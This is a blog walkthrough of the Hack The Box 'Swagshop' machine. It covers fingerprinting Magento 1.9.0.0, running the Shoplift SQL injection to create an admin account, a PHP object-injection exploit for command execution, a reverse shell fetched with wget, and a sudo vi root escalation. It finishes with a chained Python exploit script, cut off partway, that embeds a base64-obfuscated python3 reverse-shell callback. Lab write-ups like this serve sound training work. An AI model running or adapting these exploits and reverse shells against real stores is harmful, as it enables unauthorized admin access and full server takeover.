Blog


HTB{ Swagshop }

Sep 28, 2019 | 24 minutes read

Tags: hack-the-box, magento, sudo, linux, python, bash

Swagshop’s maker (and htb founder/CEO), ch4p, created a delightful box. It originally had at least three ways to gain RCE, though two got patched. I reached out to ch4p, and he was kind enough to explain. The patch was in response to the amount of failed shell uploads to the Magento Connect interface hosted at the /downloader endpoint. In most cases, failed attempts resulted in everyone else receiving a 503 Service Unavailable error. I liked the (presumably) intended solution because it’s easy, but not too easy. I’m not sure if others agree, but I would have no qualms about adding this box to @TJ_Null’s list of Hack The Box OSCP-like VMs. I found it very common during OSCP to need to tweak existing exploit code ever so slightly to make it work against my target. Overall, another great submission from ch4p!

I initially completed the box using /downloader. Unfortunately, we won’t be covering the two patched solutions, since I didn’t do my write-up until after the patch. Though, for the sake of completeness, instead of the method described in this post, we could have uploaded a malicious plugin to /downloader as one way to get RCE. The third way was to use a file editor built into the admin panel to add a webshell or edit a scheduled task with a reverse shell.


htb-badge

Scans

masscan

As usual, we start with a masscan followed by a targeted nmap.

masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.10.10.10.140.all 10.10.10.140
══════════════════════════════════════════════════════════════════════════════════════════════

open tcp 22 10.10.10.140 1557674753
open tcp 80 10.10.10.140 1557674829

nmap

nmap -p 22,80 -sC -sV -oA nmap.10.10.10.140 10.10.10.140
════════════════════════════════════════════════════════

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Error 503: Service Unavailable
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access

There’s not a whole lot to be gained from web scanning/forced browsing, so we’ll skip straight to taking a look at the application itself.

Magento

Browsing to the web server, we see a Magento eCommerce shop.

the-shop

Taking a look around, we note an interesting thing about the URL scheme: index.php is being included in the URL as though it were a directory.

weird-url

This behavior is likely due to the absence of apache’s mod_rewrite module. The index.php thing isn’t super useful at the moment, but it’ll come into play shortly.

Magento Version

Looking around, we see a relatively old copyright tag in the footer of the publically accessible pages.

© 2014 Magento Demo Store. All Rights Reserved.

The date the copyright is indicative of the installation of an older version of Magento. searchsploit returns more than a few potential exploits.

Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scripting
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site Scripting
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution
Magento Server MAGMI Plugin - Multiple Vulnerabilities
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion
Magento eCommerce - Local File Disclosure
Magento eCommerce - Remote Code Execution
eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service)

It would be nice if we could narrow down the list of candidates by determining Magento’s version. After some research, there are a lot of potential ways to identify the version. The methods found require admin privileges, access to the host’s operating system, or newer versions of Magento. We don’t have any of these things, so we need to get creative. There is a GitHub repository that hosts the older Magento codebase (https://github.com/OpenMage/magento-mirror). We’ll utilize this repository to identify the version running on our target.

First, we need to identify a file that is likely to (a) be present in most Magento installs and (b) update between versions. Once we identify a suitable file, we’ll download it from the target website, and get the md5 hash of the file. Then we’ll check the md5 of the same file in the different release versions of Magento and compare the two. Once we get a match, we’ll have found the version. Let’s proceed.

Good candidates for this sort of technique are CSS files. We’ll use skin/frontend/default/default/css/styles.css. Let’s grab the target’s styles.css and then hash it.

wget http://10.10.10.140//skin/frontend/default/default/css/styles.css
md5sum styles.css
═════════════════
d9c659f7c70e070394eff4290a0a601a  styles.css

Our next step is to check the different tagged commits in the commit history and check the md5 hash of the same file across those commits. Shown below are some of the tags in our repository.

tags

A quick aside about git tags. Git can tag specific points in a repository’s history as important. Typically, folks use tags to mark the software’s release points. Say that going from version 1.0 to 2.0 spanned 28 different commits. A tag can point to the commit that ended development on 1.0, and another can point to the commit that ended development on 2.0. That way, people can quickly jump between the two versions of the codebase instead of wading through potentially massive commit histories.

Manually checking each of these sounds incredibly tedious… Let’s script it!

Our basic steps include:

  1. clone the repo
  2. iterate over each tag in the repo
  3. check out the tag
  4. hash that version’s styles.css
  5. compare it with the hash we found from the target

We’ll start with the shebang line and a few global variables.

1#!/bin/bash
2
3repo="magento-mirror"
4styles_file="skin/frontend/default/default/css/styles.css"
5target_hash="d9c659f7c70e070394eff4290a0a601a"

Next, we’ll clone the repository if it doesn’t already reside in our current working directory.

7if [[ ! -d "${repo}" ]]; then
8  git clone https://github.com/OpenMage/magento-mirror.git
9fi

With a cloned repo in place, we cd into the directory with pushd. pushd and popd are used to manipulate a Last In First Out (LIFO) stack of directories that bash maintains. pushd adds a new directory to the top of the stack and popd removes a directory from the top of the stack. These commands are useful when we know we’ll want to return to previous directory locations. The actual code below suppresses the output from pushd and exits the program if pushd fails.

11pushd "${repo}" >/dev/null || exit

Now, we set up our loop. We can view a list of tags for a given repository by running git tag -l. We’ll iterate over the results of that command. With each iteration, we’ll checkout the commit to which each tag points. Each git checkout effectively updates the respository to appear exactly as it did when that version of Magento was released.

13for tag in $(git tag -l); do
14  git checkout tags/"${tag}" 2>/dev/null

We don’t want to bother with checking hashes if our target file doesn’t exist. The following code handles that particular case.

16  if [[ ! -e "$(pwd)/${styles_file}" ]]; then
17    continue
18  fi

If we reach the code below, there is a styles.css in this version of Magento. We’ll grab the md5 hash of the file and store it in a variable.

20  ver_hash=$(md5sum "$(pwd)/${styles_file}" | awk '{print $1}')

Next, if our target’s hash matches the hash found in the current version of the repository, we’ve located the Magento version running on the target. The code below makes that check and exits the loop if found.

22  if [[ "${ver_hash}" == "${target_hash}" ]]; then
23    echo "Found version: ${tag}"
24    break
25  fi
26done

Finally, we return to the directory from which we started.

28popd >/dev/null || exit

Here is the code in its entirety.

 1#!/bin/bash
 2
 3repo="magento-mirror"
 4styles_file="skin/frontend/default/default/css/styles.css"
 5target_hash="d9c659f7c70e070394eff4290a0a601a"
 6
 7if [[ ! -d "${repo}" ]]; then
 8  git clone https://github.com/OpenMage/magento-mirror.git
 9fi
10
11pushd "${repo}" >/dev/null || exit
12
13for tag in $(git tag -l); do
14  git checkout tags/"${tag}" 2>/dev/null
15
16  if [[ ! -e "$(pwd)/${styles_file}" ]]; then
17    continue
18  fi
19
20  ver_hash=$(md5sum "$(pwd)/${styles_file}" | awk '{print $1}')
21
22  if [[ "${ver_hash}" == "${target_hash}" ]]; then
23    echo "Found version: ${tag}"
24    break
25  fi
26done
27
28popd >/dev/null || exit

And now we can try to execute the script.

./get-version.sh
════════════════

Cloning into 'magento-mirror'...
remote: Enumerating objects: 220249, done.
remote: Total 220249 (delta 0), reused 0 (delta 0), pack-reused 220249
Receiving objects: 100% (220249/220249), 107.64 MiB | 7.94 MiB/s, done.
Resolving deltas: 100% (131674/131674), done.
Found version: 1.9.0.0

There we have it; our target is running version 1.9.0.0. Let’s move on.

Selecting Our Exploit

As we check through the different exploits returned by searchsploit, we come across one that boasts RCE.

Magento eCommerce - Remote Code Execution   exploits/xml/webapps/37977.py

We can check the source by running the command below.

searchsploit -x 37977

In doing so, we find a reference to the initial discovery made by Checkpoint.

Magento shoplift bug originally discovered by CheckPoint team (http://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability/)

Following the link to Checkpoint’s blog post, we see that the vulnerable versions include 1.9.1.0.

vuln-vers

We know ours is older and likely vulnerable as well. The meat of the exploit code adds a new admin user to the Magento backend database via MySQL statements.

q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""

By default, the exploit adds the user forme with a password of forme. Let’s give it a try.

Shoplifting

We can grab a copy of the code and place it in our current directory by running the following command.

searchsploit -m 37977

Before we run the exploit, we need to remove all of the non-python text from it. We’ll also need to update the target URL.

On a side note, I’m curious how many people have thrown this exploit at target.com/admin by just blindly executing it.

With that done, we can give it a test run.

python 37977.py 
═══════════════

DID NOT WORK

Well, that’s disappointing. We’ll fire up burp and inspect the generated traffic, but before we can do that we need to redirect the POST request in the exploit to burp. Since the exploit code uses python’s requests module, it’s simple to point it at burp using the proxies keyword argument to the post method.

35pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
36
37# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
38r = requests.post(target_url, proxies={'http': 'localhost:8080'},
39                  data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
40                        "filter": base64.b64encode(pfilter),
41                        "forwarded": 1})

After rerunning the exploit with burp in place, we can examine the request/response.

shoplift-404

Our exploit is returning a 404 error when requesting /admin/Cms_Wysiwyg/directive/index/. Recall the index.php oddity? Let’s see what happens when we request /index.php/admin.

admin-panel

Success! Let’s update the exploit script with the correct URL.

11import requests
12import base64
13import sys
14
15target = "http://10.10.10.140/index.php" 

Another run of the script appears to have worked.

python 37977.py
═══════════════

WORKED
Check http://10.10.10.140/index.php/admin with creds forme:forme

When we try to login as the new user, we arrive at the admin dashboard!

admin-dashboard

Remote Code Execution

Now that we’re an admin, we have a lot more options available to us. We’ll start by taking a closer look at the results from searchsploit again.

PHP Object Injection

Recall that the version of Magento is 1.9.0.0. When we used searchsploit earlier, there was another exploit that targeted versions earlier than 1.9.0.1 but got discarded because it required authentication.

Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution     exploits/php/webapps/37811.py

Now that we have a legitimate Magento admin user let’s see what we can do with that exploit.

We’ll bring the script into our current working directory.

searchsploit -m 37811

Taking a quick look at the script, we can see that it is performing a PHP Object Injection attack against the web application. PHP Object Injection is just a specific term for PHP deserialization. We’ll use the script to send a serialized PHP object that will utilize gadgets found naturally in the application to gain RCE. We can also see that we need to supply some basic settings by editing the script. Let’s handle that first.

31# Config.
32username = 'forme'
33password = 'forme'
34php_function = 'system'  # Note: we can only pass 1 argument to the function
35install_date = 'Sat, 15 Nov 2014 20:27:57 +0000'  # This needs to be the exact date from /app/etc/local.xml

We update the username and password variables with our new credentials. We need to edit the install_date variable as well. Thankfully, the script directs us to the install date’s exact location.

install-date

Now we can go back and update the script.

31# Config.
32username = 'forme'
33password = 'forme'
34php_function = 'system'  # Note: we can only pass 1 argument to the function
35install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml

While we’re at it, we can see a line that has been commented out but appears to be configuring the script to use a proxy. Let’s uncomment that line so we can see the requests in burp.

45# Setup the mechanize browser and options
46br = mechanize.Browser()
47br.set_proxies({"http": "localhost:8080"})
48br.set_handle_robots(False)

With all that done, let’s see what happens when we run the exploit.

python 37811.py http://10.10.10.140/index.php/admin 'uname -a'
══════════════════════════════════════════════════════════════

Traceback (most recent call last):
  File "37811.py", line 69, in <module>
    tunnel = tunnel.group(1)
AttributeError: 'NoneType' object has no attribute 'group'

That’s unfortunate. Below is the offending code.

67request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
68tunnel = re.search("src=\"(.*)\?ga=", request.read())
69tunnel = tunnel.group(1)

The regular expression on line 68 failed to find what it was looking for. The regex appears to be looking for the value of a URL parameter, but we don’t know that for sure yet. All we know is that it expects to find a line that contains src= and ?ga=. The string between those two values it captures and stores in the tunnel variable on line 69. Let’s see if we can figure out why it’s failing to find what it needs by checking out the request in burp.

failed-req

There’s a handy feature in burp that lets you repeat requests in the browser. Let’s do that by right-clicking the request, hovering over Request in browser then selecting In original session.

req-in-bro

When the prompt below comes up, we click the Copy button.

copy-or-nah

After that, we’ll head over to firefox and paste the URL and hit enter. When we do, we see an interesting dropdown menu.

dropdown

Taking a look at the page source, we see that the value for the current option selected is 7d.

7d

We can also see that there is a 7d in the request’s URL. We can see the use of 7d in burp, the exploit script, and the URL bar in firefox. Let’s change the value in the URL bar to one of the other options. Updating the URL to 2y changes No Data Found to chart. Additionally, we can see an <img> tag in the page’s source.

chart

On closer inspection, we can see that the <img> tag contains an src attribute. The src attribute’s value is a URL that has the ga parameter. It looks as though we’ve discovered how to get the data that the regular expression expects, huzzah!

<img src="http://10.10.10.140/index.php/admin/dashboard/tunnel/key/ca812f83758a75b3aaa3bfc037ceef46/?ga=YTo5OntzOjM6ImNodCI7czoyOiJsYyI7czozOiJjaGYiO3M6Mzk6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCI7czozOiJjaG0iO3M6MTQ6IkIsZjRkNGIyLDAsMCwwIjtzOjQ6ImNoY28iO3M6NjoiZGI0ODE0IjtzOjM6ImNoZCI7czozODoiZTpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBcXFBQUFBQUEiO3M6NDoiY2h4dCI7czozOiJ4LHkiO3M6NDoiY2h4bCI7czo3MzoiMDp8fHwwMy8yMDE4fHx8MDgvMjAxOHx8fDExLzIwMTh8fHwwMi8yMDE5fHx8MDUvMjAxOXx8fDA4LzIwMTl8MTp8MHwxfDJ8MyI7czozOiJjaHMiO3M6NzoiNTg3eDMwMCI7czozOiJjaGciO3M6MzU6IjUuODgyMzUyOTQxMTc2NSwzMy4zMzMzMzMzMzMzMzMsMSwwIjt9&h=2a0701ca236e48580d40996a62bd3b51" alt="chart" title="chart" />

Now that we know how to get results, we can update the exploit script. Specifically, we need to change 7d to 2y on line 67.

67request = br.open(url + 'block/tab_orders/period/2y/?isAjax=true', data='isAjax=false&form_key=' + key)
68tunnel = re.search("src=\"(.*)\?ga=", request.read())
69tunnel = tunnel.group(1)

With that complete, we can try the exploit again.

python 37811.py http://10.10.10.140/index.php/admin 'uname -a'
══════════════════════════════════════════════════════════════

Linux swagshop 4.4.0-146-generic #172-Ubuntu SMP Wed Apr 3 09:00:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Nice! We have RCE.

Going Interactive

Now that we have RCE let’s get a real shell. We’ll start by generating a payload with msfvenom.

msfvenom -p linux/x64/shell_reverse_ipv6_tcp LHOST=dead:beef:2::1011 LPORT=12345 -f elf -o lin-x64-ipv6-rev-12345.elf
═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════

No encoder or badchars specified, outputting raw payload
Payload size: 90 bytes
Final size of elf file: 210 bytes
Saved as: lin-x64-ipv6-rev-12345.elf

If you’re wondering why we’re using an ipv6 binary, that’s a fair question. I wrote the linux x64 ipv6 bind and reverse shells for Metasploit. I always think it’s neat when I get a chance to use them, so I do just that when I have the opportunity.

Next, we’ll set up a python webserver.

python3 -m http.server

Then, we’ll transfer our binary to the remote system.

python 37811.py http://10.10.10.140/index.php/admin 'wget 10.10.14.19:8000/lin-x64-ipv6-rev-12345.elf'

After that, we’ll start our netcat listener.

nc -nvl6p 12345

Finally, we’ll make the binary executable and run it.

python 37811.py http://10.10.10.140/index.php/admin 'chmod +x lin-x64-ipv6-rev-12345.elf && ./lin-x64-ipv6-rev-12345.elf'

If all went well, we should have a shell on the remote system.

Ncat: Connection from dead:beef::250:56ff:feb2:54da.
Ncat: Connection from dead:beef::250:56ff:feb2:54da:58462.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Even though we’re www-data, the permissions on user.txt allow us to read the contents.

cat /home/haris/user.txt
════════════════════════

a448...

\o/ - access level: www-data

www-data to root

Enumeration

After some very basic enumeration, we see that www-data can run a sudo command.

sudo -l
═══════

Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*

We’re able to run vi without a password and edit any file in the webroot.

Exploitation

Exploitation is straightforward. We’ll open up a vi session using our sudo access. After that, we’ll spawn a root shell.

sudo /usr/bin/vi /var/www/html/doesntmatter

We’ll receive some warnings, and the editor doesn’t look like a typical vim session, but everything will work out in the end. Once we’re in the editor, privesc is simple. We use the exclamation point to run what vim calls a filter command.

If you’re interested in reading about filter commands, open up vim and type :help !

:!sh
════

id
uid=0(root) gid=0(root) groups=0(root) 

Of course, we grab root.txt.

cat /root/root.txt
══════════════════

c2b0...

   ___ ___
 /| |/|\| |\
/_| ´ |.` |_\           We are open! (Almost)
  |   |.  |
  |   |.  |         Join the beta HTB Swag Store!
  |___|.__|       https://hackthebox.store/password

                   PS: Use root flag as password!

\o/ - root access

Magento OneShot Exploit

I had some free time on my hands and thought it would be fun to marry up the two exploits used here to create a script that goes from zero access to full RCE in one fell swoop. I removed the dependence on the mechanize library, changing all the web code to use the requests library instead. I updated the code to python3 and added logic to grab the install date. Also, I added the ability to either run a command or spawn a reverse shell with an automatic netcat listener.

usage: magento-oneshot.py [-h] (--command COMMAND | --callback CALLBACK)
                          [--username USERNAME] [--password PASSWORD]
                          [--php-function PHP_FUNCTION]
                          [--history-length {24h,7d,1m,1y,2y}]
                          target

positional arguments:
  target                target url of magento server

optional arguments:
  -h, --help            show this help message and exit
  --command COMMAND     Command to be run on the remote system
  --callback CALLBACK   IP address and port to callback to (format: IP:PORT)
  --username USERNAME   username of new admin user (default: forme)
  --password PASSWORD   password of new admin user (default: forme)
  --php-function PHP_FUNCTION
                        php function to use for command execution (default:
                        system)
  --history-length {24h,7d,1m,1y,2y}
                        number of days back to search for orders (default: 7d)

Here are two example runs of the script in action. First, run a single command.

python3 magento-oneshot.py --command id --username epi --password swagshop --history-length 2y http://10.10.10.140/index.php
════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════

[-] Adding epi to http://10.10.10.140/index.php with a password of swagshop
[+] Added epi to http://10.10.10.140/index.php with a password of swagshop
[-] Logging in to http://10.10.10.140/index.php as epi
[-] Searching historical data using 2y as period parameter
[-] Parsing local.xml for install date.
[+] Found install date: Wed, 08 May 2019 07:23:09 +0000
[-] Sending 'id' for execution on the distant end.
[+] Exploit succeeded

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Second, spawn a reverse shell. One helpful feature about the –callback option is that it automatically spawns a listener for us.

python3 magento-oneshot.py --callback 10.10.14.19:12345 --username epi --password swagshop --history-length 2y http://10.10.10.140/index.php
════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════

[+] Valid credentials (epi:swagshop) found. Proceeding without adding a new user.
[-] Searching historical data using 2y as period parameter
[-] Parsing local.xml for install date.
[+] Found install date: Wed, 08 May 2019 07:23:09 +0000
[+] Initiating callback to 10.10.14.19:12345.

I won’t bore you by walking you through the code. You can view the script at your leisure below as well as at my HTB Scripts for Retired Boxes respository.

  1"""
  2Title: magento-1.9-oneshot
  3Date: 20190913
  4Author: epi <epibar052@gmail.com>
  5  https://epi052.gitlab.io/notes-to-self/
  6Tested on:
  7    Magento 1.9.0.0
  8    Linux 4.4.0-146-generic #172-Ubuntu SMP 2019 x86_64 GNU/Linux
  9    Python 3.7.4
 10    requests 2.20.0
 11    lxml 4.3.3
 12Example run on HTB's Swagshop:
 13    python3 magento-oneshot.py http://10.10.10.140/index.php --history-length 1y --command id
 14    python3 magento-oneshot.py http://10.10.10.140/index.php --history-length 1y --callback 10.10.14.19:12345
 15
 16Credits:
 17    This script uses logic from the two exploits below for a more seamless Magento exploitation experience.
 18
 19    Magento Shoplift exploit (SUPEE-5344)
 20        https://www.exploit-db.com/exploits/37977
 21        Author        : Manish Kishan Tanwar AKA error1046
 22        Date          : 25/08/2015
 23        Debugged At  : Indishell Lab(originally developed by joren)
 24
 25    Magento CE < 1.9.0.1 Post Auth RCE
 26        https://www.exploit-db.com/exploits/37811
 27        Date: 08/18/2015
 28        Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
 29"""
 30import re
 31import base64
 32import argparse
 33import subprocess
 34from hashlib import md5
 35from urllib.parse import urlparse, urljoin
 36
 37import requests
 38from lxml import html, etree
 39
 40HISTORY_LENGTHS = ["24h", "7d", "1m", "1y", "2y"]
 41
 42
 43def format_query(user: str, pswd: str) -> str:
 44    """ Formats and returns MySQL statements to add an admin user to the Magento database.
 45
 46    :param user: new user's username
 47    :param pswd: new user's password
 48    :return: string of MySQL statements that add an admin user to the database
 49    """
 50    return f"""
 51    SET @SALT = 'rp';
 52    SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{pswd}') ), CONCAT(':', @SALT ));
 53    SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
 54    INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{user}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
 55    INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{user}'),'Firstname');
 56    """.replace(
 57        "\n", ""
 58    )
 59
 60
 61def adduser(tgt: str, username: str, password: str) -> requests.Response:
 62    """ Add an admin user to the Magento database.
 63
 64    :param tgt: base url of the target site
 65    :param username: new user's username
 66    :param password: new user's password
 67    :return: requests.Response
 68    """
 69    query = format_query(username, password)
 70    pfilter = f"popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{query}"
 71    tgt_url = f"{tgt}/admin/Cms_Wysiwyg/directive/index/"
 72
 73    # e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is:
 74    # {{block type=Adminhtml/report_search_grid output=getCsvFile}}
 75    return requests.post(
 76        tgt_url,
 77        data={
 78            "___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
 79            "filter": base64.b64encode(pfilter.encode()),
 80            "forwarded": 1,
 81        },
 82    )
 83
 84
 85def validate_http(target_value: str) -> str:
 86    """ Validates values supplied to the positional parameter target by confirming the presence of a url scheme.
 87
 88    :param target_value: value supplied to the positional parameter target
 89    :return: validated target url
 90    """
 91    if not target_value.startswith("http"):
 92        raise argparse.ArgumentTypeError(
 93            f"value supplied as target must start with either http:// or https://; found {target_value}"
 94        )
 95    return target_value
 96
 97
 98def validate_callback(callback_value: str) -> str:
 99    """ Validates values supplied to the optional parameter callback by confirming IP:PORT format.
100
101    :param callback_value: value supplied to the optional parameter callback
102    :return: validated callback ip:port combo
103    """
104    values = callback_value.split(":")
105    if len(values) == 2 and values[1].isdigit():
106        return callback_value
107    raise argparse.ArgumentTypeError(
108        f"value supplied as callback must start be in the form IP:PORT; found {callback_value}"
109    )
110
111
112def get_initial_session_and_formkey(adm_url: str) -> (requests.Session, str):
113    """ Establish initial requests.Session with the target located at the provided URL.
114
115    :param adm_url: target's admin url
116    :return: tuple(requests.Session, str)
117    """
118    sess = requests.Session()
119    resp = sess.get(adm_url)
120    tree = html.fromstring(resp.content)
121
122    formkeys = tree.xpath("//input[@name='form_key']")  # form_key needed for login POST request
123    if formkeys:
124        return sess, formkeys[0].value
125
126
127def login(tgt: str, user: str, pswd: str) -> (requests.Session, requests.Response, str):
128    """ Attempt to login to the Magento admin interface.
129
130    :param tgt:  target Magento url
131    :param user: username with which to login
132    :param pswd: password with which to login
133    :return: tuple(requests.Session, requests.Response, str)
134    """
135    admin_url = f"{tgt}/admin"
136    try:
137        s, fk = get_initial_session_and_formkey(admin_url)
138    except TypeError:
139        exit(
140            "[!] Could not find form_key attribute on hidden input field."
141            "\n\tEnsure your target url is correct."
142        )
143
144    r = s.post(admin_url, data={"login[username]": user, "login[password]": pswd, "form_key": fk})
145    return None if "Log into Magento Admin Page" in r.text else s, r, fk
146
147
148def search_orders(login_resp: requests.Response, hist_len: str, key: str, sess: requests.Session):
149    """ Performs a POST request to get historic data in the form of a chart.
150
151    The response is used as part of a PHP Object Injection attack.
152
153    :param login_resp: response received from initial login
154    :param hist_len: length of time to search back orders
155    :param key: form_key needed to send POST request
156    :param sess: current admin session
157    :return: tuple(requests.Session, requests.Response)
158    """
159    ajax_url = re.search(b"ajaxBlockUrl = '(.*)'", login_resp.content).group(1)
160
161    resp = sess.post(
162        f"{ajax_url.decode()}block/tab_orders/period/{hist_len}/?isAjax=true",
163        data={"isAjax": "false", "form_key": key},
164    )
165
166    return sess, resp
167
168
169def get_src_value(orders_resp: requests.Response) -> str:
170    """ Retrieve the lone <img> tag's src attribute in the provided Response object.
171
172    :param orders_resp: requests.Response received from search_orders
173    :return: src attribue of the <img> tag contained within the Response
174    """
175    tree = html.fromstring(orders_resp.content)
176    xpath_qry = tree.xpath("//img")
177    return xpath_qry[0].get("src") if len(xpath_qry) > 0 else None
178
179
180def get_install_date(url: str) -> str:
181    """ Retrieve installation date from /app/etc/local.xml.
182
183    :param url: target url
184    :return: string representing installation date
185    """
186    parsed_url = urlparse(url)
187    base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
188    r = requests.get(urljoin(base_url, "/app/etc/local.xml"))
189    if not r.ok:
190        exit(f"[!] Could not retrieve local.xml")
191
192    dates = etree.fromstring(r.content).xpath("//config/global/install/date")
193    if not dates:
194        exit("[!] Could not find install date.")
195
196    return dates[0].text
197
198
199def format_payload(php_func: str, cmd: str) -> bytes:
200    """ Insert command to be run into the PHP Object Injection payload then base64 encode the result.
201
202    :param php_func: php function to use for OS execution
203    :param cmd: command to be run
204    :return: encoded POI payload
205    """
206    payload = (
207        'O:8:"Zend_Log":1:{s:11:"\00*\00_writers";a:2:{i:0;O:20:"Zend_Log_Writer_Mail":4:{s:16:'
208        '"\00*\00_eventsToMail";a:3:{i:0;s:11:"EXTERMINATE";i:1;s:12:"EXTERMINATE!";i:2;s:15:"'
209        'EXTERMINATE!!!!";}s:22:"\00*\00_subjectPrependText";N;s:10:"\00*\00_layout";O:23:"'
210        f'Zend_Config_Writer_Yaml":3:{{s:15:"\00*\00_yamlEncoder";s:{len(php_func)}:"{php_func}";s:17:"\00*\00'
211        '_loadedSection";N;s:10:"\00*\00_config";O:13:"Varien_Object":1:{s:8:"\00*\00_data"'
212        f';s:{len(cmd)}:"{cmd}";}}}}s:8:"\00*\00_mail";O:9:"Zend_Mail":0:{{}}}}i:1;i:2;}}}}'
213    )
214    return base64.b64encode(payload.encode())
215
216
217def get_exploit_params(php_func, inst_date, cmd):
218    """ Create URL parameters used for PHP Object Injection.
219
220    :param php_func: php function to use for OS execution
221    :param inst_date: Magento installation date
222    :param cmd: command to be run
223    :return: url parameters for exploitation as string
224    """
225    payload = format_payload(php_func, cmd)
226    gh_value = md5(payload + inst_date.encode()).hexdigest()
227    return f"?ga={payload.decode()}&h={gh_value}"
228
229
230def start_netcat(port: str) -> None:
231    """ Spawn netcat listener in new xterm window.
232
233    :param port: port on which to listen
234    """
235    subprocess.Popen(
236        [
237            "xterm",
238            "-fn",
239            "-misc-fixed-medium-r-normal--18-*-*-*-*-*-iso8859-15",
240            "+sb",
241            "-geometry",
242            "100x25+0+0",
243            "-e",
244            f"nc -nvlp {port}",
245        ]
246    )
247
248
249def get_callback_command(ip: str, port: str) -> str:
250    """ Generate base64 encoded reverse shell callback using python3.
251
252    :param ip: ip to callback to
253    :param port: port to callback to
254    :return: callback command to be triggered on target
255    """
256    # shellpop --payload linux/reverse/tcp/python --host 192.168.1.1 --port 12345 --base64
257    command = '''python3 -c "import os;import pty;import socket;tQFhDNb='CALLBACK_IP';EerCMGzLKc=CALLBACK_PORT;OMAbFbCzptThAfC=socket.socket(socket.AF_INET,socket.SOCK_STREAM);OMAbFbCzptThAfC.connect((tQFhDNb,EerCMGzLKc));os.dup2(OMAbFbCzptThAfC.fileno(),0);os.dup2(OMAbFbCzptThAfC.fileno(),1);os.dup2(OMAbFbCzptThAfC.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');OMAbFbCzptThAfC.close();"'''
258    command = command.replace("CALLBACK_IP", ip)
259    command = command.replace("CALLBACK_PORT", port)
260    encoded_cmd = base64.b64encode(command.encode())
261    return f"echo {encoded_cmd.decode()}|base64 -d|/bin/bash"
262
263
264def main(args):
265    # attempt to login first; if it works, no need to add user
266    session, resp, formkey = login(args.target, args.username, args.password)
267
268    if session is None:
269        print(f"[-] Adding {args.username} to {args.target} with a password of {args.password}")
270
271        resp = adduser(args.target, args.username, args.password)
272        if resp.ok:
